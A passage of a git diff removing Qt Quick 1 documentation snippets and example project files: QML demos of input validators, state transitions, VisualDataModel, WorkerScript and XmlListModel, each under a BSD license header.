$QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//! [document] -import QtQuick 1.0 - - -//! [parent begin] -Rectangle { -//! [parent begin] - width: 300; height: 300 - id: screen - -Column { - anchors.centerIn:parent - -//! [int validator] -Column { - spacing: 10 - - Text { - text: "Enter a value from 0 to 2000" - } - TextInput { - focus: true - validator: IntValidator { bottom:0; top: 2000} - } -} -//! [int validator] - -//! [regexp validator] -Column { - spacing: 10 - - Text { - text: "Which basket?" - } - TextInput { - focus: true - validator: RegExpValidator { regExp: /fruit basket/ } - } -} -//! [regexp validator] - -//end of column -} - -//! [parent end] -} -//! [parent end] - -//! [document] - diff --git a/doc/src/snippets/qtquick1/transition-from-to-modified.qml b/doc/src/snippets/qtquick1/transition-from-to-modified.qml deleted file mode 100644 index 203884c901..0000000000 --- a/doc/src/snippets/qtquick1/transition-from-to-modified.qml +++ /dev/null @@ -1,60 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 - -Rectangle { - id: rect - width: 100; height: 100 - color: "red" - - MouseArea { id: mouseArea; anchors.fill: parent } - - states: State { - name: "brighter"; when: mouseArea.pressed - PropertyChanges { target: rect; color: "yellow" } - } - - //! [modified transition] - transitions: Transition { - to: "brighter" - ColorAnimation { duration: 1000 } - } - //! [modified transition] -} diff --git a/doc/src/snippets/qtquick1/transition-from-to.qml b/doc/src/snippets/qtquick1/transition-from-to.qml deleted file mode 100644 index ca2c230b0e..0000000000 --- a/doc/src/snippets/qtquick1/transition-from-to.qml +++ /dev/null @@ -1,59 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 - -//![0] -Rectangle { - id: rect - width: 100; height: 100 - color: "red" - - MouseArea { id: mouseArea; anchors.fill: parent } - - states: State { - name: "brighter"; when: mouseArea.pressed - PropertyChanges { target: rect; color: "yellow" } - } - - transitions: Transition { - ColorAnimation { duration: 1000 } - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/transition-reversible.qml b/doc/src/snippets/qtquick1/transition-reversible.qml deleted file mode 100644 index 798ab57626..0000000000 --- a/doc/src/snippets/qtquick1/transition-reversible.qml +++ /dev/null @@ -1,66 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 - -//![0] -Rectangle { - id: rect - width: 100; height: 100 - color: "red" - - MouseArea { id: mouseArea; anchors.fill: parent } - - states: State { - name: "brighter" - when: mouseArea.pressed - PropertyChanges { target: rect; color: "yellow"; x: 50 } - } - - //! [sequential animations] - transitions: Transition { - SequentialAnimation { - PropertyAnimation { property: "x"; duration: 1000 } - ColorAnimation { duration: 1000 } - } - } - //! [sequential animations] -} -//![0] - diff --git a/doc/src/snippets/qtquick1/transition.qml b/doc/src/snippets/qtquick1/transition.qml deleted file mode 100644 index fe79a7c41f..0000000000 --- a/doc/src/snippets/qtquick1/transition.qml +++ /dev/null @@ -1,63 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -Rectangle { - id: rect - width: 100; height: 100 - color: "red" - - MouseArea { - id: mouseArea - anchors.fill: parent - } - - states: State { - name: "moved"; when: mouseArea.pressed - PropertyChanges { target: rect; x: 50; y: 50 } - } - - transitions: Transition { - NumberAnimation { properties: "x,y"; easing.type: Easing.InOutQuad } - } -} -//![0] - diff --git a/doc/src/snippets/qtquick1/transitions-list.qml b/doc/src/snippets/qtquick1/transitions-list.qml deleted file mode 100644 index a76c06ac5d..0000000000 --- a/doc/src/snippets/qtquick1/transitions-list.qml +++ /dev/null @@ -1,89 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - width: 150; height: 250 - - Rectangle { - id: stopLight - x: 25; y: 15; width: 100; height: 100 - } - Rectangle { - id: goLight - x: 25; y: 135; width: 100; height: 100 - } - - states: [ - State { - name: "stop" - PropertyChanges { target: stopLight; color: "red" } - PropertyChanges { target: goLight; color: "black" } - }, - State { - name: "go" - PropertyChanges { target: stopLight; color: "black" } - PropertyChanges { target: goLight; color: "green" } - } - ] - - state: "stop" - - MouseArea { - anchors.fill: parent - onClicked: parent.state == "stop" ? - parent.state = "go" : parent.state = "stop" - } - - //! [list of transitions] - transitions: [ - Transition { - from: "stop"; to: "go" - PropertyAnimation { target: stopLight - properties: "color"; duration: 1000 } - }, - Transition { - from: "go"; to: "stop" - PropertyAnimation { target: goLight - properties: "color"; duration: 1000 } - } ] - //! [list of transitions] -} diff --git a/doc/src/snippets/qtquick1/visualdatamodel.qml b/doc/src/snippets/qtquick1/visualdatamodel.qml deleted file mode 100644 index 6229d5505a..0000000000 --- a/doc/src/snippets/qtquick1/visualdatamodel.qml +++ /dev/null @@ -1,64 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -Rectangle { - width: 200; height: 100 - - VisualDataModel { - id: visualModel - model: ListModel { - ListElement { name: "Apple" } - ListElement { name: "Orange" } - } - delegate: Rectangle { - height: 25 - width: 100 - Text { text: "Name: " + name} - } - } - - ListView { - anchors.fill: parent - model: visualModel - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/visualdatamodel_rootindex/main.cpp b/doc/src/snippets/qtquick1/visualdatamodel_rootindex/main.cpp deleted file mode 100644 index 206828e883..0000000000 --- a/doc/src/snippets/qtquick1/visualdatamodel_rootindex/main.cpp +++ /dev/null @@ -1,62 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include - -#include -#include - -//![0] -int main(int argc, char ** argv) -{ - QApplication app(argc, argv); - - QDeclarativeView view; - - QDirModel model; - view.rootContext()->setContextProperty("dirModel", &model); - - view.setSource(QUrl::fromLocalFile("view.qml")); - view.show(); - - return app.exec(); -} -//![0] - diff --git a/doc/src/snippets/qtquick1/visualdatamodel_rootindex/view.qml b/doc/src/snippets/qtquick1/visualdatamodel_rootindex/view.qml deleted file mode 100644 index e01aa17556..0000000000 --- a/doc/src/snippets/qtquick1/visualdatamodel_rootindex/view.qml +++ /dev/null @@ -1,65 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -ListView { - id: view - width: 300 - height: 400 - - model: VisualDataModel { - model: dirModel - - delegate: Rectangle { - width: 200; height: 25 - Text { text: filePath } - - MouseArea { - anchors.fill: parent - onClicked: { - if (model.hasModelChildren) - view.model.rootIndex = view.model.modelIndex(index) - } - } - } - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/workerscript.qml b/doc/src/snippets/qtquick1/workerscript.qml deleted file mode 100644 index dbca04d278..0000000000 --- a/doc/src/snippets/qtquick1/workerscript.qml +++ /dev/null @@ -1,64 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 - -Rectangle { - width: 300; height: 300 - - Text { - id: myText - text: 'Click anywhere' - } - - WorkerScript { - id: myWorker - source: "script.js" - - onMessage: myText.text = messageObject.reply - } - - MouseArea { - anchors.fill: parent - onClicked: myWorker.sendMessage({ 'x': mouse.x, 'y': mouse.y }) - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/xmlrole.qml b/doc/src/snippets/qtquick1/xmlrole.qml deleted file mode 100644 index 1e31b83c3d..0000000000 --- a/doc/src/snippets/qtquick1/xmlrole.qml +++ /dev/null @@ -1,80 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - width: 300; height: 200 - -//![0] -XmlListModel { - id: model -//![0] - source: "xmlrole.xml" - -//![1] - // XmlRole queries will be made on elements - query: "/catalogue/book" - - // query the book title - XmlRole { name: "title"; query: "title/string()" } - - // query the book's year - XmlRole { name: "year"; query: "year/number()" } - - // query the book's type (the '@' indicates 'type' is an attribute, not an element) - XmlRole { name: "type"; query: "@type/string()" } - - // query the book's first listed author (note in XPath the first index is 1, not 0) - XmlRole { name: "first_author"; query: "author[1]/string()" } -} -//![1] - -ListView { - width: 300; height: 200 - model: model - delegate: Column { - Text { text: title + " (" + type + ")"; font.bold: true } - Text { text: first_author } - Text { text: year } - } -} - -} diff --git a/doc/src/snippets/qtquick1/xmlrole.xml b/doc/src/snippets/qtquick1/xmlrole.xml deleted file mode 100644 index c9f999e523..0000000000 --- a/doc/src/snippets/qtquick1/xmlrole.xml +++ /dev/null @@ -1,14 +0,0 @@ - - - - C++ GUI Programming with Qt 4 - 2006 - Jasmin Blanchette - Mark Summerfield - - - Programming with Qt - 2002 - Matthias Kalle Dalheimer - - diff --git a/examples/declarative/qtquick1.pro b/examples/declarative/qtquick1.pro deleted file mode 100644 index a04969bdc3..0000000000 --- a/examples/declarative/qtquick1.pro +++ /dev/null @@ -1,29 +0,0 @@ -TEMPLATE = subdirs - -# These examples contain some C++ and need to be built -SUBDIRS = \ - cppextensions \ - modelviews \ - tutorials - -# OpenGL shader examples requires opengl and they contain some C++ and need to be built -contains(QT_CONFIG, opengl): SUBDIRS += shadereffects - -# These examples contain no C++ and can simply be copied -sources.files = \ - animation \ - cppextensions \ - i18n \ - imageelements \ - keyinteraction \ - positioners \ - sqllocalstorage \ - text \ - threading \ - touchinteraction \ - toys \ - ui-components \ - xml - -sources.path = $$[QT_INSTALL_EXAMPLES]/declarative -INSTALLS += sources diff --git a/examples/declarative/qtquick1/README b/examples/declarative/qtquick1/README deleted file mode 100644 index 578c2458a6..0000000000 --- a/examples/declarative/qtquick1/README +++ /dev/null @@ -1,41 +0,0 @@ -The Qt Declarative module provides the ability to specify and implement -your user interface declaratively, using the Qt Meta-Object Language (QML). This -language is very expressive and human readable, and can be used by -designers to actually implement their UI vision. QML UIs can integrate -with C++ code in many ways, including being loaded as a part of a C++ UI -and loading data models from C++ and interacting with them. - -The example launcher provided with Qt can be used to explore each of the -examples in this directory. But most can also be viewed directly with the -QML viewer utility, without requiring compilation. - -Documentation for these examples can be found via the Tutorials and Examples -link in the main Qt documentation. - - -Finding the Qt Examples and Demos launcher -========================================== - -On Windows: - -The launcher can be accessed via the Windows Start menu. Select the menu -entry entitled "Qt Examples and Demos" entry in the submenu containing -the Qt tools. - -On Mac OS X: - -For the binary distribution, the qtdemo executable is installed in the -/Developer/Applications/Qt directory. For the source distribution, it is -installed alongside the other Qt 